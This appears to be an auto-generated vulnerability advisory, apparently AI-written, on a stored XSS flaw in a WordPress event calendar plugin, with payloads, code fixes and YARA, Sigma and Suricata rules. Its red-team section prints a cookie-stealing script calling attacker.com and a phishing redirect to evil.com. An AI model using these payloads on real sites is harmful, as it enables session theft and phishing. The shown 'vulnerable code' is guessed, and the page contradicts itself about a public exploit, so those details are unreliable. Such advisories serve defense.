CVE-2024-11870
Executive Summary
CVE-2024-11870 is a Stored Cross-Site Scripting (XSS) vulnerability in the Event Registration Calendar By vcita plugin for WordPress, affecting all versions up to and including 1.4.0. The flaw resides in the plugin’s shortcode attribute handling, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least Contributor-level access can inject arbitrary JavaScript into pages. When any user (including administrators) visits the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, defacement, or credential theft.
This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is developed by vcita and is widely used for event registration. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward for any authenticated user with publishing capabilities.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin vulnerability, not an NPM, PyPI, Go, or Ruby package. The supply chain risk is limited to WordPress sites that have installed the plugin from the official WordPress plugin repository or directly from vcita. Users should verify the integrity of their plugin files and ensure they are not using modified or pirated versions.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authentication, but Contributor-level access is easy to obtain in many WordPress multisite or membership environments. The impact is limited to stored XSS, which can be used for phishing, session theft, or defacement.
Deep Dive & Mechanics
The Event Registration Calendar By vcita plugin registers shortcodes (e.g., [vcita_event_calendar]) that allow site editors to embed event calendars. The plugin fails to sanitize user-supplied attributes passed to these shortcodes. For example, an attacker could craft a shortcode like:
[vcita_event_calendar title="<script>alert('XSS')</script>"]
When the shortcode is rendered, the title attribute is output without proper escaping, causing the browser to execute the injected script. Because the shortcode is stored in the post content, the XSS is persistent (stored) and triggers every time the page is loaded.
The vulnerability is due to insufficient input sanitization and output escaping on the shortcode attributes. The plugin likely uses echo $attr['title'] instead of echo esc_attr($attr['title']) or similar safe functions.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 1.4.0):
function vcita_event_calendar_shortcode($atts) {
$atts = shortcode_atts(array('title' => 'Default Title'), $atts);
// Direct output without escaping
echo '<div class="vcita-calendar" data-title="' . $atts['title'] . '">';
// ... rest of the code
}
Patched Code (hypothetical fix):
function vcita_event_calendar_shortcode($atts) {
$atts = shortcode_atts(array('title' => 'Default Title'), $atts);
// Properly escape the attribute
echo '<div class="vcita-calendar" data-title="' . esc_attr($atts['title']) . '">';
// ... rest of the code
}
The fix uses esc_attr() to HTML-encode special characters, preventing script injection. Since no official patch is available, users must manually apply this change or remove the plugin.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites: Authenticated WordPress account with Contributor-level or higher permissions.
Steps:
- Create a new post or page.
- Insert the vulnerable shortcode with a malicious attribute:
[vcita_event_calendar title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] - Publish or save the post.
- When any user visits the page, the script executes, sending cookies to the attacker.
Advanced Payload: Use a payload that creates a fake admin user or redirects to a phishing page:
[vcita_event_calendar title="<script>window.location='https://evil.com/fake-login'</script>"]
No public exploit code is available. The above is a manual exploitation technique.
Blue Team (Detection & Hardening)
- Immediate Mitigation: Disable or remove the plugin until a patch is released.
- Web Application Firewall (WAF): Create a rule to block shortcode attributes containing
<script>oron*event handlers. - Input Validation: Use WordPress functions like
wp_kses_post()oresc_attr()when handling shortcode attributes. - Monitoring: Watch for unusual shortcode usage in post content, especially from low-privilege users.
Indicators of Compromise (IOCs)
- File Indicators:
- Plugin file:
/wp-content/plugins/event-registration-calendar-by-vcita/ - Suspicious shortcode patterns in
wp_poststable:[vcita_event_calendar title="<script>
- Plugin file:
- Network Indicators:
- Outbound connections to unknown domains from WordPress admin pages.
- HTTP requests containing
vcita_event_calendarwith encoded JavaScript.
- Log Indicators:
- WordPress audit logs showing shortcode insertion by Contributor-level users.
- Web server logs with
POSTrequests towp-admin/post.phpcontainingvcita_event_calendar.
Detection Engineering
YARA Rule
rule CVE_2024_11870_Stored_XSS {
meta:
description = "Detects stored XSS payloads in vcita event calendar shortcode attributes"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-11870"
strings:
$shortcode = /\[vcita_event_calendar[^\]]*title\s*=\s*["'][^"']*<script/i
$dangerous = /<script[^>]*>.*<\/script>/i
condition:
$shortcode and $dangerous
}
Sigma Rule
title: CVE-2024-11870 - Stored XSS via vcita Event Calendar Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in vcita Event Registration Calendar plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'vcita_event_calendar'
cs-uri-query|re: 'title=.*<script'
condition: selection
falsepositives:
- Legitimate use of shortcode with safe attributes
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11870 - vcita Event Calendar Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"vcita_event_calendar"; http_uri; pcre:"/title\s*=\s*["'][^"']*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Event Registration Calendar By vcita plugin until a patched version is released.
- Manual Patch: If you must keep the plugin, edit the shortcode handler file (likely
vcita-event-calendar.php) and replace all instances of$atts['attribute']withesc_attr($atts['attribute']). - User Access Control: Restrict Contributor-level access to trusted users only. Consider using a plugin that limits shortcode usage to administrators.
- WAF Rules: Deploy virtual patching via a WAF to block shortcode attributes containing
<script>or event handlers. - Monitor: Regularly scan WordPress posts for suspicious shortcode patterns using a security plugin like Wordfence or Sucuri.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.